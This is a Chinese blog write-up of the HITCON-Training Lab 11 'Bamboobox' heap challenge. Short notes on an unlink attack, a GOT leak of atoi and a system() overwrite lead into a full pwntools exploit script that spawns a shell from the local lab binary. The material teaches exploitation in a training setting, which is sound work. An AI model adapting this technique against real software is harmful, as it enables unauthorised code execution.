【HITCON-Training】Lab 11 - Bamboobox
Lab 11 - Bamboobox
实测只有2.23的libc版本才能成功,后面的unlink应该更难使用了!
首先完成unlink步骤
构造三个chunk,只要比80字节大就行了(fastbins阈值中32位是64字节,64位是80字节)。
0x40是fake_chunk_size,free的时候依靠这个找到fake的chunk指针。0x90无所谓,只要是0结尾就行了,保证三个检测位都是0(no_main_arena/mmap/prev_inuse):
可以看到已经成功将ptr修改成了ptr-0x18的位置:
把atoi地址放进去(放别的也行)
可以看到成功打印出got表上的真实地址:
算出system位置
接下来就很正常了,找base然后算出system位置,建议自己找,因为和标准答案不一样(标准答案结尾是80):
或者偷懒使用Libcsearcher:
重复操作
大致过程就是,我将chunk0再change一次,它以为0x602068是“堆”的地址(其实是atoi@got表),然后进去写,就帮我们把got表写成了system地址:
成功调用system获得shell:
源码
from pwn import *
sh=process("./bamboobox")
context.log_level="DEBUG"
context.terminal=['tmux','new-window']
def dbg():
gdb.attach(sh)
pause()
def show():
sh.sendlineafter(":","1")
def add(length,name):
sh.sendlineafter(":","2")
sh.sendlineafter(":",str(length))
sh.sendlineafter(":",name)
def change(index,length,name):
sh.sendlineafter(":","3")
sh.sendlineafter(":",str(index))
sh.sendlineafter(":",str(length))
sh.sendlineafter(":",name)
def remove(index):
sh.sendlineafter(":","4")
sh.sendlineafter(":",str(index))
def exit():
sh.sendlineafter(":","5")
elf=ELF("./bamboobox")
add(0x40,"aaaa") #0
add(0x80,"bbbb") #1
add(0x40,"cccc") #2
chunk0_ptr=0x6020c8
fake_chunk=p64(0)+p64(0x41)+p64(chunk0_ptr-0x18)+p64(chunk0_ptr-0x10)+b"d"*0x20+p64(0x40)+p64(0x90)
change(0,0x80,fake_chunk)
remove(1)
payload=p64(0)+p64(0)+p64(0)+p64(+elf.got["atoi"])
change(0,0x80,payload)
show()
sh.recvuntil(": ",drop=True)
atoi_addr=u64(sh.recvuntil(": ",drop=True)[0:6].ljust(8,b"\x00"))
from LibcSearcher import LibcSearcher
libc=LibcSearcher("atoi",atoi_addr)
libc_base=atoi_addr-libc.dump("atoi")
system_addr=libc_base+libc.dump("system")
change(0,0x8,p64(system_addr))
sh.sendlineafter(":","happy muyiGin")
sh.interactive()
本文来自博客园,作者:muyiGin,转载请注明原文链接:https://www.cnblogs.com/muyiGin/p/18440614